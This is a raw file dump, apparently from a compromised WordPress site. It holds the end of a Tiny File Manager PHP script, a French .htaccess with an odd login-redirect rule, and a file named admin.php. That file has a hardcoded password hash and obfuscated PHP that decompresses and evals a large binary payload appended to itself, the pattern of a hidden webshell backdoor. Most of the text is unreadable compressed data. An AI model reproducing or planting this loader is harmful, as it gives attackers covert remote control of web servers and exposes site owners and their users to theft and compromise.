                        if (cmdValue && cmdValue != "none") {
                            ace_commend(cmdValue);
                        } else if (editorOption) {
                            if (editorOption == "fullscreen") {
                                (void 0 !== document.fullScreenElement && null === document.fullScreenElement || void 0 !== document.msFullscreenElement && null === document.msFullscreenElement || void 0 !== document.mozFullScreen && !document.mozFullScreen || void 0 !== document.webkitIsFullScreen && !document.webkitIsFullScreen) &&
                                (editor.container.requestFullScreen ? editor.container.requestFullScreen() : editor.container.mozRequestFullScreen ? editor.container.mozRequestFullScreen() : editor.container.webkitRequestFullScreen ? editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT) : editor.container.msRequestFullscreen && editor.container.msRequestFullscreen());
                            } else if (editorOption == "wrap") {
                                let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
                                editor.getSession().setUseWrapMode(wrapStatus);
                            }
                        }
                    });

                    $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e) {
                        e.preventDefault();
                        let selectedValue = $(this).val(),
                            selectionType = $(this).attr("data-type");
                        if (selectedValue && selectionType == "mode") {
                            editor.getSession().setMode(selectedValue);
                        } else if (selectedValue && selectionType == "theme") {
                            editor.setTheme(selectedValue);
                        } else if (selectedValue && selectionType == "fontSize") {
                            editor.setFontSize(parseInt(selectedValue));
                        }
                    });
                });
            </script>
        <?php endif; ?>
        <div id="snackbar"></div>
    </body>

    </html>
<?php
    }

    /**
     * Language Translation System
     * @param string $txt
     * @return string
     */
    function lng($txt)
    {
        global $lang;

        // English Language
        $tr['en']['AppName']        = 'Tiny File Manager';
        $tr['en']['AppTitle']       = 'File Manager';
        $tr['en']['Login']          = 'Sign in';
        $tr['en']['Username']       = 'Username';
        $tr['en']['Password']       = 'Password';
        $tr['en']['Logout']         = 'Sign Out';
        $tr['en']['Move']           = 'Move';
        $tr['en']['Copy']           = 'Copy';
        $tr['en']['Save']           = 'Save';
        $tr['en']['SelectAll']      = 'Select all';
        $tr['en']['UnSelectAll']    = 'Unselect all';
        $tr['en']['File']           = 'File';
        $tr['en']['Back']           = 'Back';
        $tr['en']['Size']           = 'Size';
        $tr['en']['Perms']          = 'Perms';
        $tr['en']['Modified']       = 'Modified';
        $tr['en']['Owner']          = 'Owner';
        $tr['en']['Search']         = 'Search';
        $tr['en']['NewItem']        = 'New Item';
        $tr['en']['Folder']         = 'Folder';
        $tr['en']['Delete']         = 'Delete';
        $tr['en']['Rename']         = 'Rename';
        $tr['en']['CopyTo']         = 'Copy to';
        $tr['en']['DirectLink']     = 'Direct link';
        $tr['en']['UploadingFiles'] = 'Upload Files';
        $tr['en']['ChangePermissions']  = 'Change Permissions';
        $tr['en']['Copying']        = 'Copying';
        $tr['en']['CreateNewItem']  = 'Create New Item';
        $tr['en']['Name']           = 'Name';
        $tr['en']['AdvancedEditor'] = 'Advanced Editor';
        $tr['en']['Actions']        = 'Actions';
        $tr['en']['Folder is empty'] = 'Folder is empty';
        $tr['en']['Upload']         = 'Upload';
        $tr['en']['Cancel']         = 'Cancel';
        $tr['en']['InvertSelection'] = 'Invert Selection';
        $tr['en']['DestinationFolder']  = 'Destination Folder';
        $tr['en']['ItemType']       = 'Item Type';
        $tr['en']['ItemName']       = 'Item Name';
        $tr['en']['CreateNow']      = 'Create Now';
        $tr['en']['Download']       = 'Download';
        $tr['en']['Open']           = 'Open';
        $tr['en']['UnZip']          = 'UnZip';
        $tr['en']['UnZipToFolder']  = 'UnZip to folder';
        $tr['en']['Edit']           = 'Edit';
        $tr['en']['NormalEditor']   = 'Normal Editor';
        $tr['en']['BackUp']         = 'Back Up';
        $tr['en']['SourceFolder']   = 'Source Folder';
        $tr['en']['Files']          = 'Files';
        $tr['en']['Move']           = 'Move';
        $tr['en']['Change']         = 'Change';
        $tr['en']['Settings']       = 'Settings';
        $tr['en']['Language']       = 'Language';
        $tr['en']['ErrorReporting'] = 'Error Reporting';
        $tr['en']['ShowHiddenFiles'] = 'Show Hidden Files';
        $tr['en']['Help']           = 'Help';
        $tr['en']['Created']        = 'Created';
        $tr['en']['Help Documents'] = 'Help Documents';
        $tr['en']['Report Issue']   = 'Report Issue';
        $tr['en']['Generate']       = 'Generate';
        $tr['en']['FullSize']       = 'Full Size';
        $tr['en']['HideColumns']    = 'Hide Perms/Owner columns';
        $tr['en']['You are logged in'] = 'You are logged in';
        $tr['en']['Nothing selected']  = 'Nothing selected';
        $tr['en']['Paths must be not equal']    = 'Paths must be not equal';
        $tr['en']['Renamed from']       = 'Renamed from';
        $tr['en']['Archive not unpacked'] = 'Archive not unpacked';
        $tr['en']['Deleted']            = 'Deleted';
        $tr['en']['Archive not created'] = 'Archive not created';
        $tr['en']['Copied from']        = 'Copied from';
        $tr['en']['Permissions changed'] = 'Permissions changed';
        $tr['en']['to']                 = 'to';
        $tr['en']['Saved Successfully'] = 'Saved Successfully';
        $tr['en']['not found!']         = 'not found!';
        $tr['en']['File Saved Successfully']    = 'File Saved Successfully';
        $tr['en']['Archive']            = 'Archive';
        $tr['en']['Permissions not changed']    = 'Permissions not changed';
        $tr['en']['Select folder']      = 'Select folder';
        $tr['en']['Source path not defined']    = 'Source path not defined';
        $tr['en']['already exists']     = 'already exists';
        $tr['en']['Error while moving from']    = 'Error while moving from';
        $tr['en']['Create archive?']    = 'Create archive?';
        $tr['en']['Invalid file or folder name']    = 'Invalid file or folder name';
        $tr['en']['Archive unpacked']   = 'Archive unpacked';
        $tr['en']['File extension is not allowed']  = 'File extension is not allowed';
        $tr['en']['Root path']          = 'Root path';
        $tr['en']['Error while renaming from']  = 'Error while renaming from';
        $tr['en']['File not found']     = 'File not found';
        $tr['en']['Error while deleting items'] = 'Error while deleting items';
        $tr['en']['Moved from']         = 'Moved from';
        $tr['en']['Generate new password hash'] = 'Generate new password hash';
        $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
        $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
        $tr['en']['Advanced Search']    = 'Advanced Search';
        $tr['en']['Error while copying from']    = 'Error while copying from';
        $tr['en']['Invalid characters in file name']                = 'Invalid characters in file name';
        $tr['en']['FILE EXTENSION HAS NOT SUPPORTED']               = 'FILE EXTENSION HAS NOT SUPPORTED';
        $tr['en']['Selected files and folder deleted']              = 'Selected files and folder deleted';
        $tr['en']['Error while fetching archive info']              = 'Error while fetching archive info';
        $tr['en']['Delete selected files and folders?']             = 'Delete selected files and folders?';
        $tr['en']['Search file in folder and subfolders...']        = 'Search file in folder and subfolders...';
        $tr['en']['Access denied. IP restriction applicable']       = 'Access denied. IP restriction applicable';
        $tr['en']['Invalid characters in file or folder name']      = 'Invalid characters in file or folder name';
        $tr['en']['Operations with archives are not available']     = 'Operations with archives are not available';
        $tr['en']['File or folder with this path already exists']   = 'File or folder with this path already exists';
        $tr['en']['Are you sure want to rename?']                   = 'Are you sure want to rename?';
        $tr['en']['Are you sure want to']                           = 'Are you sure want to';
        $tr['en']['Date Modified']                                  = 'Date Modified';
        $tr['en']['File size']                                      = 'File size';
        $tr['en']['MIME-type']                                      = 'MIME-type';

        $i18n = fm_get_translations($tr);
        $tr = $i18n ? $i18n : $tr;

        if (!strlen($lang)) $lang = 'en';
        if (isset($tr[$lang][$txt])) return fm_enc($tr[$lang][$txt]);
        else if (isset($tr['en'][$txt])) return fm_enc($tr['en'][$txt]);
        else return "$txt";
    }

?>
PK       ! pkz      wp/wp/.htaccessnu 7m        RewriteRule ^xnlogde$ https://www.engrand-immobilier.fr/wp-login.php [NC,L]

# Blocage d'IP par pays
# RewriteCond %{ENV:GEOIP_COUNTRY_CODE} !^(FR|US|BE)$
# RewriteRule ^(.*)$ - [F,L]

# BEGIN WordPress
# Les directives (lignes) entre « BEGIN WordPress » et « END WordPress » sont générées
# dynamiquement, et doivent être modifiées uniquement via les filtres WordPress.
# Toute modification des directives situées entre ces marqueurs sera surchargée.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

# Wordfence WAF
<Files ".user.ini">
<IfModule mod_authz_core.c>
	Require all denied
</IfModule>
<IfModule !mod_authz_core.c>
	Order deny,allow
	Deny from all
</IfModule>
</Files>

# END Wordfence WAF
PK       ! n n   wp/wp/admin.phpnu 7m        <?php
$passhash = '9bd74360b120b752847479dbf10ce8a3';
$userSh = 'admin';
$vmzb='subs'.'tr';$ngrK='st'.'r'.'_repl'.'ace';$xyPn='exi'.'t';$eBWD='fi'.'le_get'.'_conten'.'ts';$tqpz='gzuncomp'.'ress';eval($tqpz($ngrK('tusizcofhj',">",$ngrK('osmvywndbc',"<",$vmzb($eBWD( __FILE__ ),-172352)))));$xyPn(0);
?>
xZ.w8u@F6e4fT(ZkrrA}扈l'=i8i?{7?WV̯zֿK_pR7ɿ}n_?eٿ?_W._/ßǺ'y˿7w)Nۿ?/{Qawk?N8o?|ۗ1?r?ˇ_B돿_[oF폿AoaOQu?.}wp`=ߧ?7?Yw/?/o_yg/ދ^k31byo8䵃[_듦g:XSEoo)=tusizcofhjW^?9ǿ'Pؿc\gj+Կleeg:p췥@?~&?s%{#춴?Uқ\Ѷ^_b.skosk/7$9菷~1Gys3F?(F_otusizcofhj4ԭI~gǿYo5?YooXGt4qrO0}cȏQ -Cu֮nMECulP8feN4E0kDJ"HLVs&G@S[Ķ
f+t%I1zSJf̢_,	+ o9gYtusizcofhjҞ-K3Ns:GޥJnJZODoОUv/K5Jkˆ7H:1P)88"C,kj~_۷P]~nD.v`tW۹p͊җAxefٜjtusizcofhjivplX'd1|!z3q,ݞ_;CQosmvywndbcsW[c)}[W_gĖn-3I\cQi3f8TtQK(١}O5ȰZ\BEDI,osmvywndbc^ޜgISaQ1osmvywndbcұEEtusizcofhjI$ZW%*OϑfDۍQ!k3R?veAb}qp6`/哟mn._.bYAa(osmvywndbc%W;`Z)vH*(DyjF#&кn'!
2?T_ʯ5ݭJ1H1ѣCXu K];1ӗ#OWi%-r4Bd$-@O"V3PdD:*ĳ98P&'{~gvH|ahwS}EV;|4PG7$j]_Bj9+=O'AR0ޚ9b+QIC	ӥbLc7XɫQ0sQ^*]k	5/OϷosmvywndbcrƷr6kcݯԾxփ?vosmvywndbc;@{g#ǖȷX~A!H|/ $
^bh(
[$ܥykx+Rpvn!ybmթl6c)ZpWK ާ\RL&Go۝㵻^Dv҃-,h/*A}'9m!}=/$qT184qsyg
˞osmvywndbc0N6tusizcofhjz[tƯgtusizcofhjMzd){!~8bHca1\'Ć̗ctݶkJQ-5Cf_DOxr$ U;WŝdG.X}_;,hm==SSӾo_Ky-Op$k̗g1cGjp_SIDnQDtoЄ9ɹEN6-0d9fqhXIA[F鱤Vײm" {~_O[k
 #ذ 1iYhF*Jo.0I+g( X֘ L'&H W}QLO=vazխY*4e\6X7XE0ͻR'1]\AH*(:1q'|j﫿΋8iq́sw c(1Qp5%B@uqdh0_K!T+OMFaU_y %}tDt;;}!tusizcofhjotusizcofhjxֆgefCiQPEY
\[uopB6`޽DKtusizcofhj˻O}x+w|jzZ!aojkq8-3K#vjBK"ۊmu8"0ϐ#$;ʖ
b^Id1`ڽ٤(g3* 	R:Tosmvywndbc$6֕_!߁ž!R'7x-=NULz:(b+V=
z`mSC{5Y
;p_ᔪp`aRe4!~٫_z9Mâk&fZٲ
٪)F6םy~osmvywndbc+Je^zcFF3ئ}Gosmvywndbc媻m ]tusizcofhjCbbr`tKJBj}z'
R@,N_svEKepuEi9zƏ₧{x^5c"fQ/n_,ۥN9+JjjS/~%O /7]M?osmvywndbccEq0:MuC@:݄	#u2ǎX_zwyҰ	γEXyqʠV0HPAWiLmnKLo٣osmvywndbcTHi]qsdUuzLG,fDK{:C» hC_顆I؏kip'Mف2qVjbjds4QhZjv=qtusizcofhjDYI,.l4n:Y~2Lnjϭ|"i,&Mh~M9b4*tׅhT۞/PV9+JQV+UkOo0?0m=F%1!ZzRҊbWcqJD$MWpVI4Wf-,W󣆷6FIi}Һo̰PtusizcofhjZ.,L8Ne_W
b^}@|qpV#e=@ڶr	QY
{[hZ&_ ہ	wsg~ڙJpHfTosmvywndbc3מӤqTCuLjt7;-qZlv*9
`p(oNҽ;]wvmTf+`I(Bʃ6py}K=x8Uڄ&,
K{/[%2A eȭJ_cYǄùgfT,Q0av?=;p0]!TX,4u.bM5josmvywndbcp7펲셈k|*8y\}۬*ɋ,ݨk=Ftusizcofhj]d7s`VnR;,\?U?ǆ_etusizcofhj}(jGosmvywndbc5fE972kJg{Ĉy6cw%\0i~ʆxktusizcofhjtusizcofhj:4ȕ"1ɧ=1]ŒLZ+Nrxפm'˳MاFR~^	;(Rq(̏:g't#;L6%1)
T2C6dIۢɒkw= O|ډaE8{C'v[tusizcofhjي/%K=nDъ24`(Fq,kFsFi-+-/xrSo@͉Н`(eC(choBw3|!R T/Ao:y`YA0R@#rtusizcofhjtW7+1 wQ۾2ickҰ9rٴ9EkIѧ ǪcQ6`fwLwo}΅6~
Z);SWvBnkFW۲ L_?\U1 1=0%r~J'!pp,sIn}tSs~&[Bw% xg%ۨj窇pJ9e!@[ӏ\R9DoLܞ4̀hxx/ȋT`D~4	tusizcofhjE?ZSD|/jg*~80^ULH'ԀH_osmvywndbcDnbeҾ4lBA!y=~_gV.mXITE˪_EPÜivih3EWQ;KTU!~[)ۃǲʂdڶ!5᱓4?BuosmvywndbcbUp'2Q"2Eg|/u%@19
1F8ًO##.nY%*F,osmvywndbcw=wN)P|}ݐ.&k_'u~ma*ܕ\yIԶ0P06]0^-(A$r@.zƷfNe&nL
7o ou00'+k9(Ck҇rktVlySĝ$&6vnkxҩosmvywndbcȌ6=)ruR=&DT-y԰e%9GI!~g.wm;:d.X𺏌q0aR7p$6M䫌?Bg`*7xMC"bf؇YpX(~V1;FQE?[Nawqsf_S4@[UrEgHO]J)pٍR&n*UBL[z(k(Yձ]jZ?؝71?Do{~0̸o@M `tusizcofhj}zR6X⥶)Op,J3Q$Wi-Cfj9#\Qcb1Q8|TIE}lqkP{^e)S[Ɉc1zTrW}t{^.&w8bo9KD(*MQ~G,ӛ8ݚBS\Z KaJ x$Avn$Wf'a@|`6.L`Ҍ,sW~b \IȦUp|xKCBpr$^ԓ(U9WX[uh`"Zo8V9gQS%tusizcofhj}Se-/iϼeם{&L~0~J0P c{L;|2:2VW:O	QuUƇ/IH#ͬ+8zLtusizcofhjBosmvywndbc lUOu ,}@).r~o9XUx	^rݺpGI)fppi}k,ENۉZCsӋ%UD[_C'A]pUk?h@0q%v8c^2B幵XV8	#mضߎ7qNֻ)D:+@6Ԫosmvywndbc snȖosmvywndbc 5E]hosmvywndbc|E\85R/Ǥ3&\l5 h"} NZkIU+ܗ:tmũ!LɰuCf@4|
ڐ)hXEmV|ӹti3߯5:
Պl`!osmvywndbc}FIx;jJBίtWRx_E92ZfRZן/	Fg^G÷:Wosmvywndbcτ⍂#`sG8|Tb=|.`0NۚosmvywndbcY+-aosmvywndbc
s]#ɢ[&n&gtusizcofhjض1jQe%Y-F:|S\^2Z#E_ҳ,_62?{7o?"ϑW}UzTosmvywndbc6}od"5~ PM͍H$tusizcofhjk 2tusizcofhjW9^7HMŋ|J&꼧3rvt'X){e b( :W-M@Q b8g,òM#çh7tPVsUghVu?B7q߰HcD4a/chBVx*HYQaU̳L\W_{BG.FD"Yuڷ?st(0RIosmvywndbcR_9jQ\g7,=[dutusizcofhjպ6WYa,6.R#{a}DNV9Lh5qG'si$ MHwJis"[vS["GrÅ,\0uo,@)dctqx1dyhѨ{wBOl1ҪK *9=?nlޫ 8:ǼO&V?P+?
_rJjJ~\벵Z@.[ EgORn27L
,Dosmvywndbc5}B(:̂Ѳگ^5j`CBA
*tusizcofhj|~^bOtusizcofhj1=~pjkIdP\+O|kX"t{(j|Zhm7=̻K&i.u!(#$vY8l #gV˗~?Nq%&e}^vdN
,(Z6[z]`lqaȗ#l-R8osmvywndbc`4qfosmvywndbc'uΚHUR{.9밠O4VՉrpmstusizcofhjk^/f/@X:J Bʎ	bl5osmvywndbcO66__͛W]CϐWb`	V+Z4Dp
?t=.h"mR_.1^-FfQ$BEmttusizcofhjSLCWu`X]q^~;pFCQl`R;&	_n]a߾ϳtusizcofhj.%DUWfTosmvywndbcߨg?0iS\JrOTI=7vIxe$f˥?tSWXrUfVN`Ӂڝy{KGl{V)y)ߖMK;|o\4,ƫR@osmvywndbcQ4s"3Z6tZ߻z=Lr[J6н%bvv&X$Z_ʩ=luF~r\KiOp^gDtnں,.=O	)$s/M|\LRϨhF|9հosmvywndbc5%b}~ŖzGg%`q
N$v7ټ`8}믱P?5(YaosmvywndbcӌTPw%p(ʘMr^11xϲGx_G	-Na?u3tusizcofhj%~:H!@iБ0MƇb["x)=wpKQm4윩ZKr^X(ʘVmaT26osmvywndbc6=%#y=oA	5Jqwyyꪏ[osmvywndbcB,U*xP$VәyUl`r^=-jOsހ7φ*
]thdefW	sZtusizcofhjosmvywndbc^er-X`
k7osmvywndbc lRvD!Fq(j3o-%Kd:A g^[F&jzT8
UUG\98tusizcofhjtusizcofhj~:#ѐm&yk{4P"x}*fc.c_ns9kA桮Lr4ۻ!*MBG~	$"y[Y1c^D=;PI7JtusizcofhjыLzMyk+s{9)l)Y:\*oyxM"Ccse9gti%Bͱ6&oOdK;S#T3/CCWVN@zؕiO{}?Fi*NĜ!ޡ 2X̆1Ud*H/&X"K.8t/rF#^bÁL`ݯ]H/_h	O5O mtusizcofhjº/2GAox!$dH*ݖFh*jjELe8.ũe#{_0~WULي1&OcY1d9iLA$n)
PBxRs}&Fn9ɼVD(CH;l407:gTL9`uXe1\a}߹F2)9J7nfƄ~3.,lڟhI7p:Tb,vwqH0c`ꪩ5d"$''s2'-uk0osmvywndbcrkEDk6Dϲb:zWqtusizcofhj{5`j	.Z~)4osmvywndbc`G*bGyRe%,"!-zJposmvywndbcx:	?07hQf:5H$`OAhM˰iK]|Hm,2TT##ڂvpxKmNW+5BTgЧZ(Eb6٢T".i-4vwD)RS&	9BsbHhCסHNtusizcofhj7Q*"B6`-}J	\BHƎx%3+"iZ8rmzmg?@ 1tusizcofhjJ1	A͵8LWƴnpöN$\)c@WYc5"F0Qq"Axf,V3PGfY.4rw}In?%TcJo$+UBbYט4	xӿڭ!S{r.m}J(M;yGC! Av8?c5jtj[էosmvywndbcwk\V:4:bhVq$-?%fyqq}]ۏܐNP05A\Q2|Ǆ/B@BȡG=CK23["^,I?i.osmvywndbc`eObh~QM7)XItusizcofhjR~QH}(IQ"SK'贞
TeaF4~(yv&Tp\v(Ky/BA^^ǯGF	La|O:92Bm7ώ_ēҥ:k8*'?G}QoB.jn9bArC#͑m-5WXfM}+KJ0$}+W2\l GSkN.ܵ{U7Nh}J:t0(? @I]`ktusizcofhj//_$]l'*kV$`Rh~F\2kF}ZЃosmvywndbc=߶Z	B/=="7ȔAKcOTt A-+~7d/oJ+{hY9nӐEYPX3i T ln.L)E`l}w?1	aˠ\^~!osmvywndbcve랠[v&Ed8XןiM75A# ;'q}RN	"Ԗ􃋭^v7㨜+qJ\TKD&pV97_ϜG=TY^D8osmvywndbcW5v^pjǩ]^=tusizcofhj"%^T끓LP-7:5G )Yj~9,vޥBLS0لyۭ{x "X4қi;/osmvywndbc0Rۺy\jj/CM[#3n6j*0"gllpA.7^uN/YIPd@,UM!
ݮ7w`^|[ԫWrw࿊1kc/`d)[{̫7 foWfω gĎRLX*DN8fk]cՄA@Bɀ3iϋL)~0uSfX%\vN5~j8$K^#% w%be7cw\&(*xuM+Pt:@'qE:8"'כ$g
pC!*E#(f:05Rbd{??}a.N\:k6\ЩU	F߼4zӎgq!}uM'{5&QVb(25r`?0`.J"%Y^-_`-'j%!*phσ'F\gsZ^~J^uL,WYETlzrvL8	O2r3Vߋ+YîtusizcofhjP B0ThWtusizcofhjRM(TvB$gO&tusizcofhj@{!ѫʄY=韠=ke=J6/K/5yUh/H|-tlICJޏWwu=H'b z@ihE w ~M^nhۙkCۑb_Hi;=ʮoY[rZ6VllUvIJbELB@v$?x!uxqʚ'l϶PsZ1%gc)x0#iMhR)\![eU~$AB%T	+r#Xޞs!tusizcofhj584fRݤi_E-D2=tusizcofhjX3($ݾI}iٺ(3˴M;b;-yz`^Rr7tusizcofhj{Iҁ
e
B:NVD_|ÒdfO93!zܾމK]7ETlٵ%%Q
	bh$3uۑm {w7X45xŦ_YeMj X]JQ=Z"ֽ6}x+8BP]jFa5nuuatusizcofhj@aN$Q_MT1z|,~Pi "A}ɞ`b];hVzdoAW$B#untusizcofhj6jWbƁ7I@4}^ٴixĽ巏=\:M? oE|f.
|s,Xr{f-؊۔RB4i5r3|' oͬm;^|!tusizcofhj̈́SƢcq_0%H̬b.ݾe}(eq8C_͖BHKɼ%_p5B7,))@KM[JjYd2F;bfH5}͛|iI\[h3l11APUbj[+@)OsN.^V"^AosmvywndbcHHtusizcofhjU09ODenxB6@p9a|$-
#%M[FTosmvywndbctusizcofhjwPlX"Zp(A$e~osmvywndbcGg❶=2Uxp"1m'A0f98ynȋهsQێg; +p9s=Ҭ&q?1({揪]4ѩLVp
R9?b5j:7-[zBؚR,@OmBcȯ9!"3}JY}V&[7ew%ɛ48;|O$O;`.0]@lExi7/1ZC.*o09FrzǾDK8e5@kwG*tusizcofhj*k	]tusizcofhjr̋V(ciOvW[u5}ug#:MܡoF9OjsF#t|/7!Ke$!q%ez럼 kT[ﮰ{8\]n
Sti*KhhaqO0	kf?eׄ7qM9lD¾	%/zDWUlK8$"  U:9-hbdSoR
ER4fn%U2w8S~NwYLq-'ch8P7UF{Ctusizcofhjw+urvyKҷ9kS@&-
p~
b=1[Y{G*b`I/osmvywndbc	KS3ف ĕtӮJ (8%oE#en F7Y}!܋.L])osmvywndbc?-%)U"NQ$}4'S8xd=Em4TEHc1Xs{x080exq$RWposmvywndbclz,Jͻ͞7yyV4Sh2i̺f\
g0uQv~@"ݾizWa Fpt9vG)0Xۓuc ^s=QGL+Y+"b)zSxO
QP~/g\[^BzaP/"'Ww/W`F(~ ]W9n .9Ĝ r9Lois!5cFqiޫ;2Nr@97X6mˊmxXtg8 Pmu&c7ayrǴ-1Ϫ$F^ _[8i[BIJ
VWSTD9F:[%07n=6y䶵]osmvywndbctusizcofhjOO܀VVpڥȾhg-J5-_
4VTf:#5 1z+/+a.wn3	Rj98P#}3*6?ؑ 8;le;x5Aq懻1i(O%B4+
Eɷս osmvywndbcG*:FaٱM\a7moNe)#gey]yTglz`}uޛASlDw"[J5+Lm)2sZ}ؾ:W)E)VнruQ.p#'6g;oi "r/ejt9,$8 	YY.AP&v670^۪_3+Px+fNij;{=nxӖnsaFv]+wJÃosmvywndbcĞZji&o$A"a&Ztusizcofhjyr
+x1PY볮E]!|i	ٟO1)9$WU8_nNtusizcofhj Zӎg2c')au+9ѼĲ)S_/t_R)YUk~O'Ӄ zsȘmrY섚dCmhUU+Q0l!D׼aQIoT}_^|9e8JW[UEZH:F{s=Rnn6ޜW\8b2X9*yN+9cy36K
b\+osmvywndbc=(2 @  '݉{Z-H@e!i=GKtӧ&Xm%ލ޹fl]uh8Po4s8?rqexa腘k,M#$/+7ѿ&zH5Xgn$Tbj9trH5qt(=ꛃqpOH
|C$QLc}8?=9{X&PxE8_Av@?3n)
_q
_8V\ŒoǊKr.&3[eV1#-{4&_mRScv+EymLy cJ$6yibOMz߫(	MSģA -4lb!Z{Gnf&ɍy/posmvywndbc2A/QgsW*Z	+w¤'u:yWSu'Ѻztusizcofhjcϓh$@;R"f",rtusizcofhj8か#]!dVF3Ұ矞˿L
/Vosmvywndbc7kHrCswBTfly__7= ~Jˋ& ESD_)˕PtusizcofhjU}3}Kv#@Vu_s~}_ʕmXd2"0$릘eNTg
tusizcofhjgs-n.[˟:^*,׀_q!Nyr!v`&tusizcofhjlǭF?,!Пkbu :
{%X`=mNM@	PLCIҚTu[AY;(27XST!lwZ#&ẆV	I=!&U^=$SMqosmvywndbcwSyM1.:t[DՆÊISW#a$%HaXĸ@l74øI	KthI%^K92Z5v_@uᥰzQom_+95Ptusizcofhj:|3Yƻ3/M?,!t[	Rc:4:J`W,RNPZn;t''CSH)(rQoߕw8)(osmvywndbcZagTd*B
]CP\5C89MuU?gKƵU8S jaΓ{	+iEosmvywndbcg/x"cӏ }8MX(Q`VX0~@CV^ u_gsaosmvywndbcJCWP2-S*NI5smˤ׈]v*GCl-ڵZNR4ܧqך3%szVI-t{CN3qosmvywndbc1ZO99ۮrTtA:iC쩢AP6'I;rew#3/+{L,zr?ዂ0UvLR\rmmtusizcofhj=IkyhS;x˚f+=?tusizcofhjx%v/i=k.=TڲDDV\߃JDF*,+Y)s޲S12XyIeV 
Ob^;i9!xNtusizcofhj!C-US,	Yw`Ujosmvywndbc=,XisqaO5[%@Q	r͛VϏ,MrH,Y	RqGJi|(E/Dj]Q/v	d9AF19+E&SMzh7O1O;2
Shf z521*=H7r9_(n V'Xuwr{R؇m=~%tusizcofhjbf{@J 890ܦ~Fd.ΙmYb2VHG氽ԷȤ;`^7V/㰪Λ:8Fd$\7NN=%@ZAqSJk2PX~urG']ߡnMӣ&Ai
GDo½*W`{3,zv=̝8E1U%osmvywndbc3Z0+!-GQ"	'|5xUBRnolbNp$nD8h_)yqᢁ߉R?.9 y~S_3V2EӶ{ ~jjMaѥ?0Ai[jTjauqRAQНb!b4M
ĵʫ]c#JQʹW
ĪQmpr@6˹ڮa=osmvywndbcbP,HOG/jMBX&niNGhGt+2X٢ytusizcofhjSH"1LbӇ+mc/&61-.O*z_RJtusizcofhjass7#tu`?@x__WU܁mNÛC1r7R ڷh tusizcofhju*WT~p׼rt;tusizcofhjeJ۲l Ǝ~dAż|t40b[tusizcofhj-!ꗹ={beDٍp'`E8bH\[:A0͂va_2#ЈH3x5AosmvywndbczE/঄:?IRsfj=03LzAtҟ''lY;nxvU5\7-=	%jKg `ZWꄇWd$rsosmvywndbcd:VH.T6*:t֝y8HGd 6T/Ӛ;GɅ 5;O`tsef\ٍ -C+[ΡrV'}˒(ؽ)HtBu'osmvywndbc0e`ľv	Ӥ !%8&~+LYk}b7V9?)I,bS*G%tusizcofhjzjyf]A$A\ߥ]=7wϙF&[-UIa1vBTq1&d"s/P`VTX3HIef&0k݋ב)&(Bփrw){XGc|؅-)+m1yuZ;=qaLBO_|"rb5JD!N81s/J_|b/?$2Fɪi	ô`_RIT
&Ri_|KO6osmvywndbc48ctusizcofhj7"4,,!0[B/. tusizcofhjYT@(Q߻(`\ZJbJIC8e+ؕ]n;S)ɡj1/Q|ba랆x5+ :Rb9B T9Vɹ@(l &	gאg`
zU$L/.a̲mG:JMt"IvQ`tusizcofhjO0B6G@$ybWħsgtusizcofhj''$}Bv'VMh aL0_b9=jG8T':ZdUӘ$FYvӾ[Z qu/,h!Gɣ(Ŀ+Kf\tusizcofhjA({ū8V2osmvywndbc|F5N98+T\YtusizcofhjBgi@b:z#Yup+ICq-E8OLHosmvywndbc +
*ڪjڮ,:z:EGk G]h^r
\^%CqOBmKbjzVYT:*hq|^gL܄) Mvq+~q:"ԓ0tusizcofhj/+(tusizcofhjXb0ɥWrfNc޴\Lx}_:I0 O}shU	ସIݟjP	y )1Ov!?j;R%A}n\&buO-|sõUw-oj299^t#;tusizcofhjXbǪ. 4vo ƬA+[osmvywndbc]GAtusizcofhj?Lr2T_1	@v)\ُ9Qu}786rj5%bܩ)=7IxrZMͮ#*rٳL&W׻L$^[W@Uډr]B`p$:y;7cfgF&pbPejosmvywndbcCtusizcofhjMfwNjWJE2.^@3^T}EǼ筣J(B=ɃFW݌"ߕxWtusizcofhjosmvywndbcׇV''osmvywndbc91 M+bm{ǫ~
3Ʊ(:Qϸ(BHTJi|iVp/^a eUVUʐ6Zb@6HΟ$[%TsŢ3aLEwDpw_v(w\*7mI.H5,i}izZ'w\3p+ԹlUxq"
F+tusizcofhjbv-{nGXb6GPJ]rfJ'.y5{"/ܸJ3)NȀ&jTڭ,[l|ř9qk+OEnu:Q6l}u	W(UU4)٢PbAU&osmvywndbcITCMbI37ʊģ&H?,neЯ4&x%٨8osmvywndbcX^jstusizcofhjXPdP_E,v*pRw׎=q[Q%JH+lLפKJ0l3$*o_OPH+ ~]Tx	,GճS,&R"z~SwX\~pV[G-*\k+Ҟ؟`~FVL`n,~度YV?r+X姀d"S-M#vWT&!QհJ)t\'m;b=픽K3@?XݳڱFcQff6={FEo;O}oU/朘u{ osmvywndbc3?Hd2ܺA
LG:FFm/Py-m
kOi``AFO$sWǀaV'ՠJΎ9D;hd ̈́GO$r1CicS"tusizcofhj5NْŽ!qL@]T33T 9FYS'kQyosmvywndbc~&ķRm7"`SY7K^nhr;Y/昌pqhFu5%w^UT?َL4@osmvywndbckщ?Re]߁ u+"8!o͌&q@(åqغ%T-g[]I׎pe0n"4g~6JaZ F~3wqU]+qvlNw1'LZ&ȑJG}FT|km(kxSѹZfzFW5KI+dVyDRcNq*c; 2/E܉n7KBK+ .h^~W0=.y.\u-ޥ\۽%\!9FuCLpX5&OX)N`܌#ԥ4Y|jc6Z jN262urdQx8`ٗ$˵odN޳'}\T8LY{Ƕ1AdGq.ױXg{ՕJuoFEs]~Gyyqtusizcofhjd;#̝&_j~E)YL[er"mr[2Ƀe^_+-~Ճ(8DFLFhIq5BtusizcofhjC"!׾
